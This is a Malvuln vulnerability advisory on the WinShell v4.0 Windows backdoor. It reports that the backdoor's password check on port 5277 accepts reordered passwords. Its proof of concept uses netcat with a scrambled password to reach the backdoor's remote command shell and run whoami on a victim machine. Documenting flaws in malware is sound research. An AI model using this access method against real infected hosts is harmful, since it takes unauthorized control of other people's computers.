Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/83fe2cc7aedc452d71c751053a2112c4.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.WinShell.40 Vulnerability: Authentication Bypass Command Execution Description: Malware WinShell v4.0 by janker listens on TCP port 5277 and allows for setting a password for remote access. However, after setting the password any combination of the characters used for the password will allow access. E.g. if the password is set to "abc123" interestingly the chars "eutn" allows access. Also, password combinations like: abc321, 321abc, 132abc, a1b2c3, cba123, bca321, bac321, cab123, cab231, cab312, cab213, ab1c23 will also authenticate successfully. Sometimes when attempting to authenticate with a derived password and it fails, try it again and boom it works! Type: PE32 MD5: 83fe2cc7aedc452d71c751053a2112c4 Vuln ID: MVID-2021-0278 Disclosure: 07/03/2021 Exploit/PoC: Set password to Malvuln123 nc64.exe x.x.x.x 5277 Password:Malvunl321 WinShell v4.0 (C)2001 by janker http://www.bugsos.com ? for help CMD>? i Install u Uninstall w Where r Reboot p Poweroff q Quit e End s Shell url download ? for help CMD>s Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\Users\Victim\Desktop>whoami whoami desktop-2c3iqho\victim AND nc64.exe x.x.x.x 5277 Password:laMvuln123 WinShell v4.0 (C)2001 by janker http://www.bugsos.com ? for help CMD> Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).